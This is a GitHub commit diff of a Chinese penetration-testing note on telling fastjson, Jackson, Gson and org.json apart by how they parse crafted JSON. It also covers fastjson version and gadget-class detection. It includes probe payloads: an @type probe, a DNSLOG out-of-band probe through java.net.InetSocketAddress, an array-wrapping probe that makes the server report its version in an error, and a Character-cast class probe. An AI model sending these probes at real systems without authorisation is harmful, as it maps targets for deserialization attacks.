Skip to content

Commit 1072e77

Browse files
committed
add FastJsonHttpMessageConverter check
1 parent c63fd2d commit 1072e77

File tree

1 file changed

+22
-12
lines changed

1 file changed

+22
-12
lines changed

fastjsonCheck/fastjsonCheck.md

+22-12
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
# json框架区分
22
给定正常对象 User
33
```java
4-
public class User {
5-
String username;
4+
public class User {
5+
String username;
66
int password;
77
float id;
88
}
@@ -14,17 +14,17 @@ public class User {
1414

1515
## fstjson
1616
1. 浮点精度不丢失
17-
其他 json 解析库在解析json时都会丢失,但fastjson不会,但是
17+
其他 json 解析库在解析json时都会丢失,但fastjson不会,但是
1818
```json
1919
{"username":"1234","password":1.111111111111111111111111111111111,"id":1.1111111111111111111111111111111111111}
2020
```
2121
2. 响应状态
22-
如果是fastjson会对@type做出响应
22+
如果是fastjson会对@type做出响应
2323
```json
2424
{"@type":"whatever"}
2525
```
2626
3. DNSLOG
27-
DNSLOG 这种方式可以无回显探测fastjson,是较为高效的一种方法,但不适用于不出网环境,具体探测方式在后文展开
27+
DNSLOG 这种方式可以无回显探测fastjson,是较为高效的一种方法,但不适用于不出网环境,具体探测方式在后文展开
2828
```json
2929
{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
3030
```
@@ -45,12 +45,12 @@ DNSLOG 这种方式可以无回显探测fastjson,是较为高效的一种方
4545

4646
## gson
4747
1. 浮点无法转整数 报错
48-
向 int 类型的值传浮点数无法解析会报错 NumberFormatException
48+
向 int 类型的值传浮点数无法解析会报错 NumberFormatException
4949
```json
5050
{"username":"1234","password":1.111111111111111111111111111111111,"id":1}
5151
```
5252
2. 特有解析
53-
org.json 与 gson 在遇到 # 时都会当注释符处理,可以用来识别这两个框架
53+
org.json 与 gson 在遇到 # 时都会当注释符处理,可以用来识别这两个框架
5454
```json
5555
#\n{"username":"1234","password":1,"id":1.1}
5656
```
@@ -61,13 +61,13 @@ org.json 与 gson 在遇到 # 时都会当注释符处理,可以用来识别
6161

6262
## org.json
6363
1. 特有解析
64-
org.json 打印会调用 toString() 所以可以插入 `\n \r`等字符改变输出,如结合前面的 `#` 再加上 `\r`
64+
org.json 打印会调用 toString() 所以可以插入 `\n \r`等字符改变输出,如结合前面的 `#` 再加上 `\r`
6565
```json
6666
#{"username":"\r"}
6767
```
6868

6969

70-
## 实测案例
70+
## 举例实测案例
7171
## fastjson
7272
对于某正常登陆接口
7373
![](attachments/Pasted%20image%2020221114152732.png)
@@ -108,7 +108,7 @@ org.json 打印会调用 toString() 所以可以插入 `\n \r`等字符改变输
108108
```
109109

110110
# fastjson版本探测
111-
## 精确版本号
111+
## 精确版本号1
112112
有报错回显的情况下,返回精确版本号
113113
```json
114114
{
@@ -117,9 +117,19 @@ org.json 打印会调用 toString() 所以可以插入 `\n \r`等字符改变输
117117

118118
![](attachments/Pasted%20image%2020221118153949.png)
119119

120+
## 精确版本号2
121+
对于存在 FastJsonHttpMessageConverter 配置的解析,通常指定了key值或json结构,可通过添加`[]`等方式破坏既定结构,实例:
122+
```json
123+
[
124+
{
125+
"@type": "whatever"
126+
}
127+
]
128+
```
129+
![](attachments/Pasted%20image%2020221124153332.png)
120130
## dnslog
121131
在没有回显的情况下,如果可以出网就要考虑dnslog了
122-
前文提到1.2.24版本不会解析 `java.net.URL`,而在之前的研究中,1.2.47、1.2.68、1.2.80是漏洞的三个里程碑版本,通过`java.lang.Class`、`java.lang.AutoCloseable`、`java.lang.Exception` 来构造dns可以准确识别
132+
前文提到1.2.24版本不会解析 `java.net.URL`,而在之前的研究中,1.2.47、1.2.68、1.2.80是漏洞的三个里程碑版本,通过`java.lang.Class`、`java.lang.AutoCloseable`、`java.lang.Exception` 来构造dns请求可以准确识别
123133

124134

125135
payload向下兼容版本,
@@ -197,7 +207,7 @@ payload向下兼容版本,
197207

198208
# 利用链探测
199209
## Character 报错回显
200-
存在时会回显
210+
探测到存在的类时将 Class 强转为 Char 导致报错回显
201211
```json
202212
{
203213
"x": {

0 commit comments

Comments
 (0)